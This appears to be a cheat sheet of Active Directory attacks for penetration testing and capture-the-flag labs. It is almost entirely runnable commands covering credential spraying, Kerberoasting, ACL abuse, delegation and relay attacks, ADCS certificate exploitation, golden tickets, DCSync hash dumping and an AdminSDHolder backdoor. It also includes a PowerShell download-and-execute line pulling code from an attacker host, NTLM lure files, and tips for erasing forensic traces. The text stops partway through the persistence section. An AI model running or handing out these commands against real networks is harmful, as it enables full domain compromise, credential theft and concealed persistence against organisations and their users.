// Active Directory Attack Arsenal

AD Arsenal

Companion to Pentest Field Guide · Covers unauthenticated enum → coercion/relay → ACL chains → delegation → ADCS → post-compromise persistence
Living document — updated as new techniques and gotchas are discovered. HTB POO · Fluffy · Tombwatcher · Pro Labs
01Unauthenticated Enumeration
LDAP Anonymous BindHIGH VALUE — often overlooked
Test anonymous bind first — reveals domain base, naming contexts
# Check if anon bind allowed — get naming context
ldapsearch -x -H ldap://DC_IP -b "" -s base namingContexts

# Enumerate all users anonymously
ldapsearch -x -H ldap://DC_IP \
  -b "DC=domain,DC=local" \
  "(objectClass=user)" sAMAccountName userPrincipalName memberOf

# Enumerate groups
ldapsearch -x -H ldap://DC_IP \
  -b "DC=domain,DC=local" \
  "(objectClass=group)" cn member

# Enumerate all objects (broad sweep)
ldapsearch -x -H ldap://DC_IP \
  -b "DC=domain,DC=local" \
  "(objectClass=*)" dn | grep "^dn:"
windapsearch — cleaner anonymous queries
# No credentials needed for anon
windapsearch -d domain.local --dc DC_IP -m users
windapsearch -d domain.local --dc DC_IP -m groups
windapsearch -d domain.local --dc DC_IP -m computers
SMB Null Session + RPCHIGH VALUE
SMB null session enumeration
# List shares — null session
smbclient -L //DC_IP -N
nxc smb DC_IP --shares -u '' -p ''

# Enum4linux-ng — comprehensive (users, shares, groups, policies)
enum4linux-ng -A DC_IP

# RPC null session — user enum
rpcclient -U "" -N DC_IP
  rpcclient $> enumdomusers
  rpcclient $> enumdomgroups
  rpcclient $> querydominfo
  rpcclient $> getdompwinfo      # password policy — lockout threshold!
  rpcclient $> lookupnames administrator
Password policy — CRITICAL before spraying
# Get lockout policy before ANY credential attacks
nxc smb DC_IP -u '' -p '' --pass-pol
enum4linux-ng -P DC_IP
crackmapexec smb DC_IP --pass-pol
CRITICAL: Always query password policy before spraying. Law firm environments typically enforce 3-attempt lockout with 30-min observation window. Prefer offline attacks (Kerberoast, AS-REP) over spray when lockout < 5.
Kerbrute — Username Enumeration (No Creds)CRITICAL — pre-spray
Username enum via Kerberos pre-auth — does NOT trigger lockout
# Enumerate valid usernames — no lockout risk
kerbrute userenum \
  --dc DC_IP -d domain.local \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# With custom list (common AD patterns)
kerbrute userenum \
  --dc DC_IP -d domain.local \
  users.txt -o valid_users.txt

# Generate username list from names found in LDAP/SMB
# Tools: namemash.py, username-anarchy
python3 namemash.py names.txt > users.txt
username-anarchy -i full_names.txt > users.txt
KEY: Kerbrute userenum is safe — PREAUTH_REQUIRED response = valid user. PRINCIPAL_UNKNOWN = invalid. No password attempted, no lockout counter incremented.
AS-REP Roasting (No Auth Required)CRITICAL — lockout-safe
Target accounts with "Do not require Kerberos preauthentication" set
# From Linux — impacket (no creds, just userlist)
GetNPUsers.py domain.local/ \
  -dc-ip DC_IP \
  -usersfile valid_users.txt \
  -format hashcat \
  -outputfile asrep_hashes.txt

# With valid creds — enumerate ALL AS-REP-able accounts
GetNPUsers.py domain.local/user:'pass' \
  -dc-ip DC_IP -request -format hashcat

# Crack with hashcat — mode 18200
hashcat -m 18200 asrep_hashes.txt \
  /opt/wordlists/rockyou2021.txt \
  -r /opt/rules/rockyou-30000.rule

# With netexec
nxc ldap DC_IP -u user -p 'pass' --asreproast asrep.txt
GOTCHA: Without a userlist, you need to guess names. Build the list from Kerbrute enum, LDAP anon, SMB, or OSINT first. hashcat --username flag required if file format is user:hash.
02Initial Credential Attacks
Password Spraying — Lockout-AwareEXTREME CAUTION — 3-attempt envs
Only spray after: policy retrieved, userlist validated, lockout >= 5
# Kerbrute spray — Kerberos protocol (stealth)
kerbrute passwordspray \
  --dc DC_IP -d domain.local \
  valid_users.txt 'Password123!'

# NetExec spray — SMB
nxc smb DC_IP -u valid_users.txt -p 'Password123!' \
  --continue-on-success --no-bruteforce

# NetExec spray — LDAP (quieter than SMB)
nxc ldap DC_IP -u valid_users.txt -p passwords.txt \
  --continue-on-success --no-bruteforce

# Smart spray candidates (seasonal + company name)
  Season+Year: Spring2024!, Summer2024!, Winter2025!
  Company+Year: CompanyName2024!
  Welcome pattern: Welcome1!, Welcome123
  Common: P@ssw0rd, Passw0rd!, Password1
SPRAY DISCIPLINE: One password per spray round. Wait full observation window (typically 30 min) between rounds. Track attempt count per user. In 3-attempt envs — DO NOT SPRAY. Use Kerberoasting / AS-REP only.
Kerberoasting — SPN Account TargetingCRITICAL — no lockout risk
Any authenticated user can request service tickets — no special rights needed
# impacket — dump all kerberoastable accounts
GetUserSPNs.py domain.local/user:'pass' \
  -dc-ip DC_IP -request \
  -outputfile kerb_hashes.txt

# With hash instead of password
GetUserSPNs.py domain.local/user \
  -hashes :NTHASH \
  -dc-ip DC_IP -request

# NetExec kerberoast
nxc ldap DC_IP -u user -p 'pass' --kerberoasting kerb.txt

# Crack — hashcat mode 13100
hashcat -m 13100 kerb_hashes.txt \
  /opt/wordlists/rockyou2021.txt \
  -r /opt/rules/rockyou-30000.rule

# Rubeus from Windows (targeted — RC4 downgrade for easier crack)
Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:kerb.txt
OPSEC: Request RC4 tickets (downgrade from AES) — faster to crack. Use /tgtdeleg in Rubeus. High-value targets: service accounts named svc_*, sql_*, web_*, iis_*, backup_*.
03Authenticated Enumeration
BloodHound Collection + Key QueriesCRITICAL — run immediately on foothold
Collection (Linux preferred — no AV interaction)
# bloodhound-python — all collection methods
bloodhound-python -u user -p 'pass' \
  -d domain.local -dc DC_FQDN \
  -ns DC_IP -c All --zip

# With hash (PTH)
bloodhound-python -u user \
  --hashes :NTHASH \
  -d domain.local -dc DC_FQDN \
  -ns DC_IP -c All

# SharpHound (from Windows target)
.\SharpHound.exe -c All --zipfilename bh.zip
.\SharpHound.exe -c All,GPOLocalGroup --loop
Key Cypher queries — run after import
# Find all paths from owned user to DA
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

# All kerberoastable accounts
MATCH (u:User {hasspn:true}) RETURN u.name, u.description

# AS-REP-roastable accounts
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

# Users with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# Find computers where owned users have admin rights
MATCH p=(u:User {owned:true})-[:AdminTo]->(c:Computer) RETURN p

# Find all ADCS ESC paths
MATCH p=()-[:Enroll|GenericAll|GenericWrite]->(ct:CertTemplate) RETURN p
PowerView — Manual AD EnumHIGH VALUE — targeted queries
Domain info + user/group enum
# Import (bypass AMSI first if needed)
IEX (New-Object Net.WebClient).DownloadString('http://KALI/PowerView.ps1')

# Domain info
Get-Domain
Get-DomainController
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

# Users
Get-DomainUser | Select-Object samaccountname,description,memberof,pwdlastset
Get-DomainUser -AdminCount         # AdminSDHolder protected users
Get-DomainUser -SPN                # Kerberoastable
Get-DomainUser -PreauthNotRequired # AS-REP roastable

# Groups
Get-DomainGroup | Where-Object {$_.GroupScope -eq "Universal"}
Get-DomainGroupMember "Domain Admins" -Recurse

# Computers
Get-DomainComputer | Select-Object dnshostname,operatingsystem
Get-DomainComputer -Unconstrained   # Unconstrained delegation hosts
Get-DomainComputer -TrustedToAuth   # Constrained delegation hosts
ACL enumeration (targeted)
# Find ACLs on a specific user
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteOwner|WriteDACL|AllExtendedRights" }

# Find ALL interesting ACEs (slow but thorough)
Find-InterestingDomainAcl -ResolveGUIDs |
  Where-Object { $_.IdentityReferenceName -match "owneduser" }

# ACLs on domain object (DCSync rights)
Get-DomainObjectAcl -Identity "DC=domain,DC=local" -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "DS-Replication" }
NetExec / CrackMapExec — Swiss Army KnifeWORKFLOW
Quick domain and host enumeration with creds
# Domain info
nxc ldap DC_IP -u user -p 'pass' --get-dn
nxc ldap DC_IP -u user -p 'pass' --users
nxc ldap DC_IP -u user -p 'pass' --groups
nxc ldap DC_IP -u user -p 'pass' --computers

# Local admin hunt (find where creds work as admin)
nxc smb SUBNET/24 -u user -p 'pass' --local-auth
nxc smb SUBNET/24 -u user -H NTHASH --local-auth

# Logged-on users (find DA sessions)
nxc smb SUBNET/24 -u user -p 'pass' --loggedon-users

# Share enumeration
nxc smb SUBNET/24 -u user -p 'pass' --shares

# Module: lsassy (in-memory credential dump — no binary drop)
nxc smb TARGET -u admin -H NTHASH -M lsassy

# Module: gpp_password (Group Policy creds)
nxc smb DC_IP -u user -p 'pass' -M gpp_password
LDAP Queries — Impacket + DirectSURGICAL ENUM
Targeted queries for specific attributes
# All users with description field (often contains passwords)
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.local" -w 'pass' \
  -b "DC=domain,DC=local" \
  "(objectClass=user)" sAMAccountName description |
  grep -A1 description

# Accounts with password not required (PASSWD_NOTREQD flag)
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.local" -w 'pass' \
  -b "DC=domain,DC=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName

# Machine account quota (default 10 — RBCD prerequisite)
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.local" -w 'pass' \
  -b "DC=domain,DC=local" \
  "(objectClass=domain)" ms-DS-MachineAccountQuota

# AD CS — find Certificate Authorities
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.local" -w 'pass' \
  -b "CN=Configuration,DC=domain,DC=local" \
  "(objectClass=pKIEnrollmentService)" cn dNSHostName
04ACL Abuse — Edge Decision Matrix
ACL Edge → Attack MatrixCRITICAL — BloodHound path resolution
BloodHound Edge Target Object Attack Technique Tools Result
GenericAll User Shadow Credentials, ForceChangePassword, Add to group certipy shadow, pywhisker, rpcclient Compromise user
GenericAll Group Add self/arbitrary user to group PowerView Add-DomainGroupMember, net group /domain Group membership
GenericAll Computer RBCD — add controlled machine account to msDS-AllowedToActOnBehalfOf impacket rbcd.py, PowerView Admin on host
GenericWrite User Shadow Credentials, SPN set → Kerberoast, scriptPath → logon exec certipy shadow, pywhisker, Set-DomainObject Compromise user
GenericWrite Computer RBCD via msDS-AllowedToActOnBehalfOf write rbcd.py, PowerView Admin on host
WriteDACL User/Group/Domain Grant yourself GenericAll → chain to above Add-DomainObjectAcl Escalate to GenericAll
WriteOwner Any Take ownership → WriteDACL → GenericAll Set-DomainObjectOwner, Add-DomainObjectAcl Two-step escalation
AllExtendedRights User ForceChangePassword without knowing current password Set-DomainUserPassword, rpcclient setuserinfo2 Reset victim password
AddSelf / AddMember Group Add yourself to group Add-DomainGroupMember, net group /domain Group membership
DS-Replication Domain DCSync — dump all hashes secretsdump.py, Mimikatz lsadump::dcsync All domain creds
Owns Any Owner can grant WriteDACL → then GenericAll Set-DomainObjectOwner → Add-DomainObjectAcl Full object control
ForceChangePassword / Add to GroupHIGH VALUE
ForceChangePassword — AllExtendedRights or GenericAll on user
# PowerView — change user password
$NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPass

# rpcclient — old-school reliable
rpcclient -U "domain/attacker%pass" DC_IP
  rpcclient $> setuserinfo2 targetuser 23 'NewPass123!'

# impacket — rpcchangepwd.py
rpcchangepwd.py 'domain/attacker:pass@DC_IP' \
  -target-user targetuser \
  -new-password 'NewPass123!'
Add user to group — GenericAll/AddMember on group
# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' \
  -Members 'attacker'

# net group (Windows — requires /domain flag)
net group "Domain Admins" attacker /add /domain

# Verify
Get-DomainGroupMember "Domain Admins"
GOTCHA: net group without /domain targets local groups only — always include /domain for AD groups. Group membership changes take effect on next logon — use a new ticket/session after adding yourself.
WriteDACL / WriteOwner ChainHIGH VALUE
WriteDACL → grant GenericAll → abuse
# Step 1 — grant yourself GenericAll via WriteDACL
Add-DomainObjectAcl \
  -TargetIdentity targetuser \
  -PrincipalIdentity attacker \
  -Rights All

# Verify the new ACE was written
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -match "attacker_SID" }

# Step 2 — now abuse GenericAll (shadow creds, password reset, etc.)
certipy shadow auto -u attacker@domain -p 'pass' \
  -account targetuser -dc-ip DC_IP
WriteOwner → take ownership → WriteDACL → GenericAll
# Take ownership
Set-DomainObjectOwner -Identity targetuser \
  -OwnerIdentity attacker

# Now you own it — grant WriteDACL
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity attacker \
  -Rights WriteDacl

# Then grant GenericAll
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity attacker \
  -Rights All
CLEANUP: Remove injected ACEs after exploitation to reduce forensic footprint. Remove-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity attacker -Rights All
05Delegation Attacks
Unconstrained DelegationCRITICAL — DC capture path
Find hosts with unconstrained delegation (excludes DCs)
# PowerView
Get-DomainComputer -Unconstrained |
  Select-Object dnshostname

# BloodHound query
MATCH (c:Computer {unconstraineddelegation:true,
  name:<>"DC01.DOMAIN.LOCAL"}) RETURN c.name
Force coercion to capture DC TGT
# On unconstrained host — monitor for TGTs
Rubeus.exe monitor /interval:5 /nowrap

# Coerce DC authentication to unconstrained host
# From Kali — PrinterBug
python3 printerbug.py \
  'domain/user:pass@DC_IP' \
  UNCONSTRAINED_HOST_IP

# OR Coercer
coercer coerce -u user -p 'pass' \
  -d domain.local \
  --listener UNCONSTRAINED_HOST_IP \
  --target DC_IP

# DC TGT captured — inject and DCSync
Rubeus.exe ptt /ticket:BASE64_TGT
secretsdump.py -k -no-pass DC_FQDN
Constrained DelegationHIGH VALUE
Find hosts/users with constrained delegation configured
# PowerView
Get-DomainUser -TrustedToAuth |
  Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth |
  Select-Object dnshostname, msds-allowedtodelegateto
S4U2Self + S4U2Proxy — impersonate DA to allowed service
# Rubeus — request TGT for delegating account first
Rubeus.exe asktgt /user:svc_account /password:'pass' /nowrap

# S4U2Self (get ST for DA to svc_account)
# S4U2Proxy (use that ST to impersonate DA to target)
Rubeus.exe s4u /ticket:BASE64_TGT \
  /impersonateuser:administrator \
  /msdsspn:"cifs/target.domain.local" \
  /ptt

# Access target as DA
ls \\target.domain.local\C$
NOTE: Protocol Transition (any auth) allows impersonation of ANY user. Without it (Kerberos-only), the impersonated user must have a TGS for the service already. Check msDS-AllowedToDelegateTo and TrustedToAuthForDelegation UAC flag.
RBCD — Resource-Based Constrained DelegationCRITICAL — no DA needed
Prerequisites: GenericWrite/GenericAll on target computer + machine account (quota or existing)
# Step 1 — create controlled machine account
addcomputer.py -computer-name 'RBCD$' \
  -computer-pass 'RBCDPass123!' \
  -dc-ip DC_IP \
  'domain.local/user:pass'

# Step 2 — write msDS-AllowedToActOnBehalfOf on target
rbcd.py -dc-ip DC_IP \
  -action write \
  -delegate-to TARGET$ \
  -delegate-from RBCD$ \
  'domain.local/user:pass'

# Verify
rbcd.py -dc-ip DC_IP -action read \
  -delegate-to TARGET$ \
  'domain.local/user:pass'

# Step 3 — S4U2Self + S4U2Proxy to get admin ST
getST.py -spn 'cifs/TARGET' \
  -impersonate administrator \
  -dc-ip DC_IP \
  'domain.local/RBCD$:RBCDPass123!'

# Use the ticket
export KRB5CCNAME=administrator@cifs_TARGET.ccache
secretsdump.py -k -no-pass TARGET.domain.local
GOTCHA: Machine Account Quota (MAQ) defaults to 10 — any domain user can create machine accounts. Verify with: ldapsearch ... ms-DS-MachineAccountQuota. If MAQ=0, you need an existing machine account with known creds.
06Coercion + NTLM Relay
Responder — NTLM Hash CaptureHIGH VALUE — quick wins
Capture NetNTLMv2 hashes passively or via coercion
# Start Responder — capture on all interfaces
responder -I tun0 -wv

# IMPORTANT: Disable SMB+HTTP when relaying (or captures only)
# Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off
responder -I tun0 -wv  # With SMB off for relay mode

# Captured hashes saved to: /usr/share/responder/logs/
# Crack NetNTLMv2 — hashcat mode 5600
hashcat -m 5600 ntlmv2.txt \
  /opt/wordlists/rockyou2021.txt \
  -r /opt/rules/rockyou-30000.rule
Trigger NTLM auth via file share path injection
# If you can write to a network share — plant a UNC pointer
# Create a malicious .lnk or @threat.url pointing to Kali share

# Simple: plant desktop.ini or icon file in writable share
cat > @pwn.url << 'EOF'
[InternetShortcut]
URL=file://KALI_IP/pwn
EOF

# Or use ntlm_theft to generate lure files
python3 ntlm_theft.py -g all -s KALI_IP -f pwn
ntlmrelayx — NTLM Relay AttacksCRITICAL — when SMB signing disabled
Check SMB signing first — relay only works if unsigned
# Find hosts with SMB signing disabled
nxc smb SUBNET/24 --gen-relay-list relay_targets.txt

# Basic relay to SAM dump
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Interactive shell (drop into SMBClient shell)
ntlmrelayx.py -tf relay_targets.txt -smb2support -i

# LDAP relay — create computer account for RBCD
ntlmrelayx.py -t ldap://DC_IP --delegate-access \
  --escalate-user attacker_machine$

# Relay to ADCS HTTP endpoint (ESC8)
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp \
  --adcs --template DomainController
RELAY GOTCHA: Cannot relay to the same host the hash came from. Build relay_targets.txt carefully — exclude the coerced host. SMB signing must be disabled on relay target. Domain Controllers always have SMB signing enabled.
Coercion Tools — Force DC AuthHIGH VALUE — unconstrained + relay
Multiple coercion techniques — try in order
# Coercer — tries ALL coercion methods automatically
coercer coerce \
  -u user -p 'pass' -d domain.local \
  --listener KALI_IP \
  --target DC_IP

# PetitPotam — EfsRpcOpenFileRaw (works unauth in older envs)
python3 PetitPotam.py -u user -p 'pass' \
  -d domain.local \
  KALI_IP DC_IP

# PrinterBug / SpoolSample (MS-RPRN)
python3 printerbug.py \
  'domain/user:pass@DC_IP' KALI_IP

# Check if Print Spooler running first
nxc smb DC_IP -u user -p 'pass' -M spooler
COMBINE WITH: Unconstrained Delegation → capture DC TGT → DCSync. OR Relay to ADCS (ESC8) → get DC cert → PKINIT → DA hash. Both chains start with coercion.
WebClient / WebDAV Coercion (RBCD via HTTP)CPTS PATTERN — Trilocor
WebClient service enables HTTP-based NTLM auth — bypasses SMB signing
# Check if WebClient (WebDAV) running on target
nxc smb TARGET -u user -p 'pass' -M webdav

# If WebClient running — coerce via HTTP listener (not SMB)
# This bypasses SMB signing restriction entirely

# Start ntlmrelayx over HTTP
ntlmrelayx.py -t ldap://DC_IP \
  --delegate-access --escalate-user RBCD$

# Coerce target to HTTP listener
# Port 80 listener on Kali — WebClient sends HTTP auth
coercer coerce \
  -u user -p 'pass' -d domain.local \
  --listener KALI_IP@80/test \
  --target TARGET_IP

# Start WebClient on target if needed (no admin rights)
Start-Service WebClient
TRILOCOR LESSON: WebClient coercion uses HTTP not SMB — SMB signing is irrelevant. The machine account auth goes to your HTTP listener. This is why RBCD via WebDAV coercion works where direct SMB relay fails against signing-enabled DCs.
07ADCS — Certificate Template Vulnerabilities
ADCS ESC Reference — Detection + ExploitationCRITICAL — Certipy
Discover all ADCS vulnerabilities in one scan
# Certipy find — all vulns, actionable only
certipy-ad find -u user@domain.local \
  -p 'pass' -dc-ip DC_IP -vulnerable

# With hash
certipy-ad find -u user@domain.local \
  -hashes :NTHASH -dc-ip DC_IP -vulnerable

# ESCalate.py — alternative with more detail on ESC16
python3 escalate.py -dc DC_IP -d domain.local \
  -u user -p 'pass' --actionable
ESC Condition Attack Certipy Command
ESC1 Client auth template + enrollees can supply SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) Request cert with SAN=administrator — get DA hash certipy req ... -template TEMPLATE -upn administrator@domain
ESC2 Any Purpose EKU or no EKU — can be used for any auth Use cert for Schannel auth or PKINIT Enroll in template, use for auth
ESC3 Certificate Request Agent EKU — enroll on behalf of others Enroll as agent → request cert on behalf of DA certipy req ... -on-behalf-of domain\\administrator
ESC4 Write permissions on certificate template Modify template to add ESC1 conditions → exploit certipy template -template TEMPLATE -save-old; certipy req ...
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA — all templates vulnerable to SAN injection Same as ESC1 but applies to any enrollable template certipy req ... -template User -upn administrator@domain
ESC7 ManageCA or ManageCertificates rights on CA Enable EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6, or approve pending certs certipy ca -ca CA_NAME -add-officer attacker
ESC8 HTTP enrollment endpoint (Web Enrollment) enabled on CA Relay DC auth to CA HTTP → get DC cert → DCSync ntlmrelayx ... -t http://CA/certsrv/certfnsh.asp --adcs --template DC
ESC16 szOID_NTDS_CA_SECURITY_EXT disabled (no sec extension) — weak mapping exploitable UPN swap (GenericWrite on account → set UPN to administrator → enroll → restore → auth) See Fluffy chain in Pentest Field Guide §06
ESC1 — Full Exploitation ChainCRITICAL — most common
Template allows enrollees to specify Subject Alternative Name
# Step 1 — find vulnerable template + CA name from certipy find
#   Look for: [!] Vulnerabilities: ESC1
#   Note: Template Name, CA Name

# Step 2 — request cert with administrator UPN in SAN
certipy-ad req \
  -u user@domain.local -p 'pass' \
  -dc-ip DC_IP \
  -ca 'CA-NAME' \
  -template 'VULNERABLE_TEMPLATE' \
  -upn administrator@domain.local
# Outputs: administrator.pfx

# Step 3 — authenticate with cert → get NT hash
certipy-ad auth \
  -pfx administrator.pfx \
  -dc-ip DC_IP
# Outputs: administrator NT hash

# Step 4 — PTH
evil-winrm -i DC_IP \
  -u administrator -H NTHASH
secretsdump.py -hashes :NTHASH \
  administrator@DC_IP
ESC8 — NTLM Relay to ADCS Web EnrollmentCRITICAL — relay to DA
Relay DC auth to CA web enrollment → get DC certificate → DCSync
# Step 1 — Check if web enrollment enabled
certipy-ad find ... -vulnerable
# OR manual: curl http://CA_HOST/certsrv/ (200 = enabled)

# Step 2 — Start ntlmrelayx targeting CA web enrollment
#   Disable SMB/HTTP in Responder.conf first
ntlmrelayx.py \
  -t http://CA_HOST/certsrv/certfnsh.asp \
  --adcs \
  --template DomainController \
  -smb2support

# Step 3 — Start Responder (SMB=Off, HTTP=Off)
responder -I tun0 -wv

# Step 4 — Coerce DC authentication
python3 PetitPotam.py KALI_IP DC_IP

# Step 5 — Relay delivers DC.pfx
# Request TGT with PKINIT + extract NT hash
certipy-ad auth \
  -pfx dc.pfx -dc-ip DC_IP

# Step 6 — DCSync with DC hash
secretsdump.py -hashes :DC_NTHASH \
  'domain/DC01$@DC_IP'
RELAY CHAIN: This is a 3-tool coordinated attack: Responder (capture) → ntlmrelayx (relay to CA) → Coercer (force DC auth). All three must be running simultaneously. Responder SMB/HTTP MUST be disabled or it intercepts before relay.
08Shadow Credentials
Shadow Credentials — GenericWrite → PKINIT → HashCRITICAL — lockout safe
Requires: GenericWrite or GenericAll on target user/computer. Requires: AD CS with PKINIT support.
# Method 1 — certipy shadow (auto mode — does everything)
certipy-ad shadow auto \
  -u attacker@domain.local -p 'pass' \
  -dc-ip DC_IP \
  -account targetuser
# Outputs: targetuser.ccache + NT hash automatically

# Method 2 — pywhisker (more granular control)
# Add KeyCredential
python3 pywhisker.py \
  -d domain.local -u attacker -p 'pass' \
  --dc-ip DC_IP \
  --target targetuser \
  --action add
# Outputs: DEVICE_ID.pfx + DEVICE_ID password

# Request TGT with the cert (PKINITtools)
python3 gettgtpkinit.py \
  -cert-pfx DEVICE_ID.pfx \
  -pfx-pass 'CERT_PASS' \
  domain.local/targetuser \
  targetuser.ccache

# Extract NT hash from TGT
export KRB5CCNAME=targetuser.ccache
python3 getnthash.py \
  domain.local/targetuser -key AS_REP_KEY
KEY ADVANTAGE: Shadow Credentials uses the msDS-KeyCredentialLink attribute — no password change, no lockout, minimal noise. The target account continues to function normally. Cleanup: remove the KeyCredential after use.
GOTCHA: PKINIT must be available on the DC. Requires a CA deployed in the domain. If no CA exists, Shadow Creds won't work — fall back to ForceChangePassword or targeted Kerberoasting (add SPN to target account via GenericWrite).
Shadow Creds Cleanup + FallbackOPSEC
List and remove KeyCredentials after exploitation
# List existing KeyCredentials on target
python3 pywhisker.py \
  -d domain.local -u attacker -p 'pass' \
  --dc-ip DC_IP \
  --target targetuser \
  --action list

# Remove specific credential by DeviceID
python3 pywhisker.py \
  -d domain.local -u attacker -p 'pass' \
  --dc-ip DC_IP \
  --target targetuser \
  --action remove \
  --device-id DEVICE_ID

# Certipy shadow cleanup
certipy-ad shadow clear \
  -u attacker@domain.local -p 'pass' \
  -dc-ip DC_IP \
  -account targetuser
Fallback: SPN-based Kerberoast via GenericWrite
# If no CA/PKINIT — set SPN on target → kerberoast them
Set-DomainObject -Identity targetuser \
  -Set @{serviceprincipalname='fake/spn'}

# Now roast their account
GetUserSPNs.py domain/attacker:'pass' \
  -dc-ip DC_IP -request \
  -outputfile kerb.txt

# Cleanup SPN after cracking
Set-DomainObject -Identity targetuser \
  -Clear serviceprincipalname
09Ticket Attacks — PTT / Golden / Silver / Overpass
Pass-the-TicketHIGH VALUE
Import and use Kerberos tickets from ccache/kirbi files
# Linux — set KRB5CCNAME env var
export KRB5CCNAME=/path/to/ticket.ccache
klist  # verify ticket loaded
secretsdump.py -k -no-pass DC_FQDN
smbclient.py -k -no-pass TARGET

# Windows — Rubeus inject .kirbi
Rubeus.exe ptt /ticket:BASE64_TICKET
Rubeus.exe ptt /ticket:ticket.kirbi
klist  # verify

# Convert ccache ↔ kirbi
impacket-ticketConverter ticket.ccache ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
Overpass-the-Hash (Pass-the-Key)HIGH VALUE
Convert NTLM hash → Kerberos TGT (avoids NTLM auth)
# impacket getTGT — hash → TGT
getTGT.py domain.local/user \
  -hashes :NTHASH \
  -dc-ip DC_IP
# Outputs: user.ccache

export KRB5CCNAME=user.ccache
wmiexec.py -k -no-pass TARGET

# Rubeus (Windows) — hash → TGT in memory
Rubeus.exe asktgt \
  /user:user \
  /rc4:NTHASH \
  /domain:domain.local \
  /dc:DC_FQDN /ptt
USE WHEN: NTLM is disabled or when you want Kerberos-only operations (less detectable). Also useful when you have AES keys from secretsdump — use /aes256 flag in Rubeus instead of rc4.
Golden + Silver TicketsCRITICAL — post-DA persistence
Golden Ticket — requires KRBTGT hash (offline TGT generation)
# Get KRBTGT hash first (need DA / DCSync)
secretsdump.py -hashes :DA_NTHASH \
  administrator@DC_IP | grep krbtgt

# Create golden ticket (Linux)
ticketer.py \
  -nthash KRBTGT_HASH \
  -domain-sid S-1-5-21-xxx \
  -domain domain.local \
  administrator

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass DC_FQDN

# Rubeus (Windows)
Rubeus.exe golden \
  /rc4:KRBTGT_HASH \
  /domain:domain.local \
  /sid:DOMAIN_SID \
  /user:administrator /ptt
Silver Ticket — service-specific, stealthier (no DC contact)
# Requires: target machine account NTLM hash
ticketer.py \
  -nthash MACHINE_NTHASH \
  -domain-sid DOMAIN_SID \
  -domain domain.local \
  -spn cifs/TARGET.domain.local \
  administrator

# Access only that service — no DA TGT issued
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass TARGET.domain.local
10DCSync — Domain Hash Extraction
DCSync — All MethodsCRITICAL — requires DA or replication rights
Check who has replication rights (non-DAs that can DCSync)
# Find non-default accounts with DCSync rights (BloodHound query)
MATCH p=(u)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) 
  WHERE NOT u.name STARTS WITH "DOMAIN ADMINS"
RETURN p
secretsdump — main DCSync tool
# Full domain hash dump
secretsdump.py -hashes :NTHASH \
  administrator@DC_IP

# Just NTDS / no LSA
secretsdump.py -hashes :NTHASH \
  administrator@DC_IP -just-dc-ntlm

# Kerberos auth
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass DC_FQDN

# Specific user only
secretsdump.py -hashes :NTHASH \
  administrator@DC_IP -just-dc-user krbtgt

# From local NTDS.dit copy (offline)
secretsdump.py -ntds ntds.dit \
  -system SYSTEM -hashes lmhash:nthash LOCAL
Grant DCSync rights (if you have WriteDACL on domain object)
# PowerView — grant replication rights to attacker
Add-DomainObjectAcl \
  -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity attacker \
  -Rights DCSync
NTDS.dit — Offline ExtractionHIGH VALUE — when DCSync blocked
Extract NTDS.dit via Volume Shadow Copy (no DC reboot)
# Method 1 — vssadmin + robocopy (DA required)
vssadmin create shadow /for=C:
# Note the shadow copy path: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit" C:\Temp\NTDS.dit
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Temp\SYSTEM

# Method 2 — ntdsutil snapshot
ntdsutil "activate instance ntds" "ifm" \
  "create full C:\Temp\IFM" quit quit

# Method 3 — nxc module
nxc smb DC_IP -u administrator -H NTHASH \
  --ntds vss

# Offline crack with secretsdump
secretsdump.py -ntds C:\Temp\NTDS.dit \
  -system C:\Temp\SYSTEM LOCAL \
  -outputfile domain_hashes
HASHCAT AFTER: Sort hashes by frequency — common passwords shared across accounts suggest default / GPO-deployed passwords. sort -t: -k4 domain_hashes.ntds | uniq -D -f3
11Domain Persistence
AdminSDHolder BackdoorPERSISTENCE
Permissions on AdminSDHolder propagate to all protected groups every 60 min
# Add GenericAll on AdminSDHolder
# → propagates to DA, EA, Schema Admins etc.
Add-DomainObjectAcl \
  -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" \
  -PrincipalIdentity backdoor_user \
  -Rights All

# Force immediate propagation (normally 60 min)
